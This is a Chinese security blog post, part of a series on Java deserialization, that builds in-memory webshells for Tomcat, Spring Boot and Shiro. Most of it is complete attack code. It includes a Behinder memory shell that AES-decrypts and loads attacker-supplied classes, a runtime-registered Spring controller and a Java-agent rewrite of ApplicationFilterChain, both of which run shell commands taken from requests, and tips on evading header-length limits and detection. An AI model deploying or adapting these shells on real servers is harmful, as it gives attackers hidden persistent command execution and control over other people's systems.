Java反序列化命令回显和内存shell(5)

admin 2022年4月20日16:39:47代码审计评论12 views21511字阅读71分42秒阅读模式

十一、    结合shiro



shirodemo地址
https://github.com/phith0n/JavaThings/tree/master/shirodemo

shiro有个很大的问题在于cookie太长会报错,当然这个是按整个header算的,删除一些不必要的可以帮我们节约长度。前面tomcat8的Listener内存马最短,可以打入内存shell。这里用的是CB链。

Java反序列化命令回显和内存shell(5)

突破header长度有两种办法,一种是修改AbstractHttp11Protocol类中的maxHttpHeaderSize属性,另一种是POST二次加载。可参考以下文章:
https://mp.weixin.qq.com/s/5iYyRGnlOEEIJmW1DqAeXw
https://www.cnblogs.com/zpchcbd/p/15167571.html

十二、    冰蝎内存马


做好兼容性,将回显逻辑改成冰蝎马。

package test;
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.*;
import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;import javax.servlet.*;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpSession;
import org.apache.catalina.connector.Request;import org.apache.catalina.connector.Response;import org.apache.catalina.core.StandardContext;import org.apache.catalina.core.StandardHost;
public class TemplatesImplTomcat6789Behinder extends AbstractTranslet implements ServletRequestListener{ String serverNameMB; public TemplatesImplTomcat6789Behinder() throws Exception { setMB(); ThreadGroup group = Thread.currentThread().getThreadGroup(); Thread[] threads = (Thread[]) getFieldValue(group, "threads"); for(int i = 0; i < threads.length; i++) { try{ Thread t = threads[i]; if (t == null) continue; String str = t.getName(); if (str.contains("exec") || !str.contains("http")) continue; Object obj = getFieldValue(t, "target"); if (!(obj instanceof Runnable)) continue; obj = getFieldValue(obj, "this$0"); obj = getFieldValue(obj, "handler"); obj = getFieldValue(obj, "proto"); obj = getFieldValue(obj, "adapter"); obj = getFieldValue(obj, "connector"); obj = getFieldValue(obj, "service"); try { obj = getFieldValue(obj, "engine"); }catch (Exception e) { obj = getFieldValue(obj, "container"); } HashMap children = (HashMap) getFieldValue(obj, "children"); StandardHost standardHost = (StandardHost) children.get(serverNameMB); if (standardHost == null) { standardHost = (StandardHost) children.get("localhost"); } children = (HashMap) getFieldValue(standardHost, "children"); Iterator iterator = children.keySet().iterator(); StandardContext standardContext = (StandardContext) children.get(""); try { StandardContext.class.getMethod("addApplicationEventListener", String.class).invoke(standardContext, this); //standardContext.addApplicationEventListener(this); }catch (Exception e) { Object[] objarray = standardContext.getApplicationEventListeners(); List list1 = java.util.Arrays.asList(objarray); List list2 = new java.util.ArrayList(); list2.add(this); list2.addAll(list1); objarray = list2.toArray(); standardContext.setApplicationEventListeners(objarray); }
break; }catch(Exception e){ continue; } } } public void requestDestroyed(ServletRequestEvent sre) {
} private void setMB() throws Exception { boolean flag = false; ThreadGroup group = Thread.currentThread().getThreadGroup(); Thread[] threads = (Thread[]) getFieldValue(group, "threads"); for(int i = 0; i < threads.length; i++) { try{ if (flag) break; Thread t = threads[i]; if (t == null) continue; String str = t.getName(); if (str.contains("exec") || !str.contains("http")) continue; Object obj = getFieldValue(t, "target"); if (!(obj instanceof Runnable)) continue; obj = getFieldValue(obj, "this$0"); obj = getFieldValue(obj, "handler"); obj = getFieldValue(obj, "global"); ArrayList<?> processors = (ArrayList<?>) getFieldValue(obj, "processors"); for(int j = 0; j < processors.size(); ++j) { Object processor = processors.get(j); Object req = getFieldValue(processor, "req"); Object serverPort = getFieldValue(req, "serverPort"); if (serverPort.equals(-1)) continue; if (flag) break; serverNameMB = (String) getFieldValue(req, "serverNameMB").toString(); if(serverNameMB != null) { flag = true; } } }catch(Exception e){ continue; } } } public static Object getFieldValue(Object obj, String fieldName) throws Exception { try { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); return field.get(obj); } catch (Exception e) { return getFieldValue(obj, obj.getClass(), fieldName); } } public static Object getFieldValue(Object obj, Class<?> clazz, String fieldName) throws Exception { Field field; clazz = clazz.getSuperclass(); try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); return field.get(obj); } catch (Exception e) { return getFieldValue(obj, clazz, fieldName); } } public void requestInitialized(ServletRequestEvent sre) { //System.out.println("ok"); Request request; HttpServletRequest req = (HttpServletRequest) sre.getServletRequest(); try { Field requestF = req.getClass().getDeclaredField("request"); requestF.setAccessible(true); request = (Request)requestF.get(req); } catch (Exception e) { request = (Request) req; } Response response = request.getResponse(); try {            HashMap pageContext = new HashMap(); HttpSession session = request.getSession(); pageContext.put("request", request); pageContext.put("response", response);            pageContext.put("session", session);            String payload = request.getReader().readLine(); String k = "e45e329feb5d925b"; // rebeyond session.putValue("u", k); Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(k.getBytes(), "AES")); Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class); method.setAccessible(true); byte[] evilclass_byte = c.doFinal(base64_decode(payload)); Class evilclass = (Class) method.invoke(Thread.currentThread().getContextClassLoader(), evilclass_byte, 0, evilclass_byte.length); evilclass.newInstance().equals(pageContext); } catch (Exception e) { //e.printStackTrace(); } } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } @Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } public byte[] base64_decode(String string) throws Exception { byte[] bytes; try { try { Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null); bytes = (byte[]) Class.forName("java.util.Base64$Decoder").getMethod("decode",String.class).invoke(decoder, string); } catch (Exception e) { Object decoder = Class.forName("java.util.Base64").getMethod("getMimeDecoder").invoke(null); bytes = (byte[]) Class.forName("java.util.Base64$Decoder").getMethod("decode",String.class).invoke(decoder, string); } } catch (Exception e) { bytes = (byte[]) Class.forName("sun.misc.BASE64Decoder").getMethod("decodeBuffer",String.class).invoke(Class.forName("sun.misc.BASE64Decoder").newInstance(), string); } return bytes; }
}


十三、    springboot


springboot内置tomcat,回显是兼容的,写个demo

    @RequestMapping(value = "/test", method = RequestMethod.POST)    public String test(String base64) {        if (base64 != null) {            byte[] bs = Base64.getMimeDecoder().decode(base64);            ByteArrayInputStream bais = new ByteArrayInputStream(bs);            ObjectInputStream ois;            try {                ois = new ObjectInputStream(bais);                try {                    ois.readObject();                } catch (ClassNotFoundException e) {                    e.printStackTrace();                }            } catch (IOException e) {                e.printStackTrace();            }        }        return "反序列化成功";    }

Java反序列化命令回显和内存shell(5)


但内存马不兼容,需要动态注入controller达到内存马目的,依赖spring-webmvc-4.3.25.RELEASE.jar/spring-web-4.3.25.RELEASE.jar/spring-context-4.3.25.RELEASE.jar/spring-beans-4.3.25.RELEASE.jar/spring-core-4.3.25.RELEASE.jar,参考
https://xz.aliyun.com/t/10467

package test;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;importorg.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.PrintWriter;import java.lang.reflect.Method; publicclassTemplatesImplSpringechoController extends AbstractTranslet{    public TemplatesImplSpringechoController() throws Exception {        WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);        // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);        // 2. 通过反射获得自定义 controller 中test的Method 对象        Method method2 = TemplatesImplSpringechoController.class.getMethod("test");        // 3. 定义访问 controller 的 URL 地址        PatternsRequestCondition url = new PatternsRequestCondition("/shell");        // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();        // 5. 在内存中动态注册 controller        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);        // 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环        TemplatesImplSpringechoController injectToController = new TemplatesImplSpringechoController("aaa");        mappingHandlerMapping.registerMapping(info, injectToController, method2);    }    // 第二个构造函数    public TemplatesImplSpringechoController(String aaa) {}    // controller指定的处理方法    publicvoid test() throws IOException{        // 获取request和response对象        HttpServletRequest request = ((ServletRequestAttributes)(RequestContextHolder.currentRequestAttributes())).getRequest();        HttpServletResponse response = ((ServletRequestAttributes)(RequestContextHolder.currentRequestAttributes())).getResponse();         //exec        try {            String arg0 = request.getHeader("cmd");            PrintWriter writer = response.getWriter();            if (arg0 != null) {                String o = "";                java.lang.ProcessBuilder p;                if(System.getProperty("os.name").toLowerCase().contains("win")){                    p = newjava.lang.ProcessBuilder(newString[]{"cmd.exe", "/c", arg0});                }else{                    p = newjava.lang.ProcessBuilder(newString[]{"/bin/sh", "-c", arg0});                }                java.util.Scanner c = newjava.util.Scanner(p.start().getInputStream()).useDelimiter("\A");                o = c.hasNext() ? c.next():o;                c.close();                writer.write(o);                writer.flush();                writer.close();            }else{                //当请求没有携带指定的参数(code)时,返回 404 错误                response.sendError(404);            }        }catch (Exception e){}    }    @Override    publicvoidtransform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {    }    @Override    publicvoidtransform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[]handlers) throws TransletException {    }}


十四、    java agent


Java agent为当前热门的内存shell,其原理是利用java自带的hook接口进行类的动态修改。
我们先做一个简单的每隔五秒打印的jar包。

package javaagent;
public class MainforRun { public static void main(String[] args) throws Exception{ while (true){ new Peoples().say(); Thread.sleep(5000); }
}}


package javaagent;
public class Peoples {
public void say(){ System.out.println("hello"); }
}

编译为jar包,以MainforRun.main()运行。
java -jar Peoples.jar

Java反序列化命令回显和内存shell(5)

此时另起一个cmd执行jps,可看见对应pid。

Java反序列化命令回显和内存shell(5)

那么我们对其进行插桩,依赖javassist-3.21.0-GA.jar和tools.jar

package javaagent;
import com.sun.tools.attach.VirtualMachine;import java.io.BufferedReader;import java.io.InputStream;import java.io.InputStreamReader;
public class Attachthings { public static void main(String[] args) throws Exception{
String pid = getjarpid().trim(); VirtualMachine vm = VirtualMachine.attach(pid); String path = System.getProperty("java.class.path"); if (args.length == 1) { path = args[0]; } System.out.println(path); vm.loadAgent(path); }
private static String getjarpid() throws Exception{ Process ps = Runtime.getRuntime().exec("jps"); InputStream is = ps.getInputStream(); InputStreamReader isr = new InputStreamReader(is); BufferedReader bis = new BufferedReader(isr); String line; StringBuilder sb = new StringBuilder(); String result = null; while((line=bis.readLine())!=null){ sb.append(line+";"); } String [] xx= sb.toString().split(";"); for (String x : xx){ if (x.contains("jar")) { result=x.substring(0,x.length()-3); } } System.out.println("pid: "+result); return result; }}

这里path可以直接指定agent jar包,然后在idea中执行,也可以生成Attachthings攻击包。为了省事,我们将攻击和agent合在一起。agent jar包构造如下。

package javaagent;
import java.lang.instrument.Instrumentation;import java.lang.instrument.UnmodifiableClassException;
public class Agentthing { public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException { inst.addTransformer(new PeoplesTransformer(), true); inst.retransformClasses(new Class[] { Peoples.class }); } }
package javaagent;
import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer;import java.security.ProtectionDomain;
public class PeoplesTransformer implements ClassFileTransformer { @Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) { if(!className.startsWith("javaagent/Peoples")) { return classfileBuffer; }
try{ ClassPool cp = ClassPool.getDefault(); ClassClassPath classPath = new ClassClassPath(classBeingRedefined); cp.insertClassPath(classPath); CtClass cc = cp.get("javaagent.Peoples"); CtMethod m = cc.getDeclaredMethod("say"); m.addLocalVariable("elapsedTime", CtClass.longType); m.insertBefore("System.out.println("agent");"); byte[] byteCode = cc.toBytecode(); cc.detach(); return byteCode; } catch (Exception e){ e.printStackTrace(); System.out.println("falied change"); return null; } }}

然后生成Agent jar包,替换它的MANIFEST.MF如下

Manifest-Version: 1.0Main-Class: javaagent.AttachthingsAgent-Class: javaagent.AgentthingCan-Redefine-Classes: trueCan-Retransform-Classes: trueCan-Set-Native-Method-Prefix: trueClass-Path: .

java -jar Agent.jar

Java反序列化命令回显和内存shell(5)

如上图所见,成功改写了Peoples类。

那么离agent写入tomcat内存马就剩一步之遥了,首先要找出一个tomcat处理请求的必经类,这个回顾之前Filter内存shell的分析可以得出,ApplicationFilterChain.internalDoFilter()为必经类。

那么,先修改Attachthings,tomcat的启动jar包为Bootstrap,注意这里使用绝对路径。

package tomcatagent;
import com.sun.tools.attach.VirtualMachine;import java.io.*;
public class Attachthings { public static void main(String[] args) throws Exception{ String pid = getpid().trim(); VirtualMachine vm = VirtualMachine.attach(pid); String path = Attachthings.class.getProtectionDomain().getCodeSource().getLocation().getFile(); path = path.substring(1, path.length()); if (args.length == 1) { path = args[0]; } //path = "D:\Downloads\Tomcat.jar"; System.out.println("jar: "+path); vm.loadAgent(path); }
private static String getpid() throws Exception{ Process ps = Runtime.getRuntime().exec("jps"); InputStream is = ps.getInputStream(); InputStreamReader isr = new InputStreamReader(is); BufferedReader bis = new BufferedReader(isr); String line; StringBuilder sb = new StringBuilder(); String result = null; while((line=bis.readLine())!=null){ sb.append(line+";"); } String [] xx= sb.toString().split(";"); for (String x : xx){ if (x.contains("Bootstrap")) //find tomcat { result=x.substring(0,x.length()-9); } } System.out.println("pid: "+result); return result; }}

然后是Agentthing

package tomcatagent;
import java.lang.instrument.Instrumentation;import java.lang.instrument.UnmodifiableClassException;

public class Agentthing { public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException { inst.addTransformer(new Transformerthings(), true); Class[] allclass = inst.getAllLoadedClasses(); for (Class cl : allclass){ if (cl.getName().equals("org.apache.catalina.core.ApplicationFilterChain")) { inst.retransformClasses(cl); } } System.out.println("retransform success");}}

最后是重写类,这里为了直观,我们直接弹计算器。

package tomcatagent;
import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.security.ProtectionDomain;
public class Transformerthings implements ClassFileTransformer { @Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { if (className.equals("org/apache/catalina/core/ApplicationFilterChain")){ try { ClassPool classPool = ClassPool.getDefault(); ClassClassPath classPath = new ClassClassPath(className.getClass()); classPool.insertClassPath(classPath); if (classBeingRedefined!=null) { ClassClassPath classPath1 = new ClassClassPath(classBeingRedefined); classPool.insertClassPath(classPath1); } CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain"); CtMethod ctMethod = ctClass.getDeclaredMethod("internalDoFilter"); ctMethod.addLocalVariable("elapsedTime", CtClass.longType); String code = "Runtime.getRuntime().exec("calc");"; ctMethod.insertBefore(code); byte [] classbytes =ctClass.toBytecode(); return classbytes;
} catch (Exception e) { e.printStackTrace(); System.out.println("falied change"); } } return null; }}

还是一样,将Attach和Agent用同一个jar包,生成之后,改写MANIFEST.MF。

Manifest-Version: 1.0Main-Class: tomcatagent.AttachthingsAgent-Class: tomcatagent.AgentthingCan-Redefine-Classes: trueCan-Retransform-Classes: trueCan-Set-Native-Method-Prefix: trueClass-Path: .

启动tomcat后执行java -jar Tomcat.jar,随便访问tomcat任意页面。

Java反序列化命令回显和内存shell(5)


最后就是code部分改内存马,为了方便调试,我们从外部code.txt来读取内存马,并且写个保护检测,解决内存马只能打一次的问题,cmd内存马(code.txt)如下。

javax.servlet.http.HttpServletRequest request=$1;javax.servlet.http.HttpServletResponse response = $2;String cmd = request.getParameter("cmd");String result = "";    try {            if (cmd != null && !cmd.isEmpty())            {               String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};               result = new String((new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\A").next().getBytes());                   response.getWriter().print(result);               return;            }      }      catch(Exception e)      {            response.getWriter().print(e.getMessage());      }

Transformerthings

package tomcatagent;
import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;
import java.io.InputStream;import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.net.URL;import java.security.ProtectionDomain;
public class Transformerthings implements ClassFileTransformer { @Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { if (className.equals("org/apache/catalina/core/ApplicationFilterChain")){ try { ClassPool classPool = ClassPool.getDefault(); ClassClassPath classPath = new ClassClassPath(className.getClass()); classPool.insertClassPath(classPath); if (classBeingRedefined!=null) { ClassClassPath classPath1 = new ClassClassPath(classBeingRedefined); classPool.insertClassPath(classPath1); }
CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain"); if (ctClass.isFrozen()){ ctClass.defrost(); } CtMethod ctMethod = ctClass.getDeclaredMethod("internalDoFilter"); ctMethod.addLocalVariable("elapsedTime", CtClass.longType); String url = "file:///D:/Downloads/code.txt"; InputStream input = new URL(url).openStream(); byte[] bs = new byte[input.available()]; input.read(bs); String code = new String(bs); ctMethod.insertBefore(code); byte [] classbytes =ctClass.toBytecode(); return classbytes;
} catch (Exception e) { e.printStackTrace(); System.out.println("falied change"); } } return null; }}

效果如下

Java反序列化命令回显和内存shell(5)


冰蝎马可以直接用它自带的,稍微改一下即可。

Java反序列化命令回显和内存shell(5)


javax.servlet.http.HttpServletRequest request=(javax.servlet.ServletRequest)$1;javax.servlet.http.HttpServletResponse response = (javax.servlet.ServletResponse)$2;javax.servlet.http.HttpSession session = request.getSession();    java.util.Map obj=new java.util.HashMap();    obj.put("request",request);    obj.put("response",response);    obj.put("session",session);    ClassLoader loader=this.getClass().getClassLoader();    if (request.getMethod().equals("POST"))    {        try        {            String k="e45e329feb5d925b";            session.putValue("u",k);            java.lang.ClassLoader systemLoader=java.lang.ClassLoader.getSystemClassLoader();            Class cipherCls=systemLoader.loadClass("javax.crypto.Cipher");            Object c=cipherCls.getDeclaredMethod("getInstance",new Class[]{String.class}).invoke((java.lang.Object)cipherCls,new Object[]{"AES"});            Object keyObj=systemLoader.loadClass("javax.crypto.spec.SecretKeySpec").getDeclaredConstructor(new Class[]{byte[].class,String.class}).newInstance(new Object[]{k.getBytes(),"AES"});;            java.lang.reflect.Method initMethod=cipherCls.getDeclaredMethod("init",new Class[]{int.class,systemLoader.loadClass("java.security.Key")});            initMethod.invoke(c,new Object[]{new Integer(2),keyObj});            java.lang.reflect.Method doFinalMethod=cipherCls.getDeclaredMethod("doFinal",new Class[]{byte[].class});            byte[] requestBody=null;            try {                    Class Base64 = loader.loadClass("sun.misc.BASE64Decoder");                    Object Decoder = Base64.newInstance();                    requestBody=(byte[]) Decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(Decoder, new Object[]{request.getReader().readLine()});                } catch (Exception ex)                 {                    Class Base64 = loader.loadClass("java.util.Base64");                    Object Decoder = Base64.getDeclaredMethod("getDecoder",new Class[0]).invoke(null, new Object[0]);                    requestBody=(byte[])Decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(Decoder, new Object[]{request.getReader().readLine()});                }
byte[] buf=(byte[])doFinalMethod.invoke(c,new Object[]{requestBody}); java.lang.reflect.Method defineMethod=java.lang.ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{String.class,java.nio.ByteBuffer.class,java.security.ProtectionDomain.class}); defineMethod.setAccessible(true); java.lang.reflect.Constructor constructor=java.security.SecureClassLoader.class.getDeclaredConstructor(new Class[]{java.lang.ClassLoader.class}); constructor.setAccessible(true); java.lang.ClassLoader cl=(java.lang.ClassLoader)constructor.newInstance(new Object[]{loader}); java.lang.Class c=(java.lang.Class)defineMethod.invoke((java.lang.Object)cl,new Object[]{null,java.nio.ByteBuffer.wrap(buf),null}); c.newInstance().equals(obj); }
catch(java.lang.Exception e) { e.printStackTrace(); } catch(java.lang.Error error) { error.printStackTrace(); } return;    }


agent马修改tomcat原生类更难被发现,需要用到同等技术进行查杀。但需要上传文件+命令执行,且有一定兼容性问题,较难和反序列化完美结合,一般仅作为权限维持。




原文始发于微信公众号(珂技知识分享):Java反序列化命令回显和内存shell(5)

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月20日16:39:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  Java反序列化命令回显和内存shell(5) http://cn-sec.com/archives/929824.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: